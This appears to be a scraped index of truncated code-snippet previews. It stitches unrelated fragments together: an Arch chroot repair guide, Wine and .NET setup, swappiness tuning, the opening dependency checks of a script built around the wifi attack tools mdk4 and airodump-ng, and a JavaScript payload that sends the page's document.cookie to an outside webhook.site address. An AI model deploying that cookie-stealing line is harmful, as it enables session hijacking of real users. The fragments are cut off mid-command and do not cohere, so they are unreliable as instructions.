A quick guide to chroot into a broken Arch Linux installation from a live USB to perform repairs, such as reinstalling broken packages.
- You must have a bootable Arch Linux USB drive.
| #!/bin/bash | |
| # Check if mdk4 and airodump-ng are installed | |
| if ! command -v mdk4 &>/dev/null; then | |
| echo "mdk4 could not be found. Please install it and try again." | |
| exit 1 | |
| fi | |
| if ! command -v airodump-ng &>/dev/null; then | |
| echo "airodump-ng could not be found. Please install it and try again." |
| ``` | |
| sudo apt install mono-complete wine winetricks -y | |
| winetricks dotnet48 | |
| ``` | |
| - Go to https://dl.winehq.org/wine/wine-mono/8.1.0/ | |
| - Download `wine-mono-8.1.0-x86.msi` | |
| ``` | |
| wine64 uninstall |
| var xhttp = new XMLHttpRequest(); | |
| xhttp.open('GET', 'https://webhook.site/22bf9020-43c4-48c0-8d34-483347236b04/?' + document.cookie, true); | |
| xhttp.send(); |
| sudo sysctl vm.swappiness=50 | |
| ## Change forever | |
| > vi /etc/sysctl.conf | |
| vm.swappiness=40 | |
| > sysctl -p |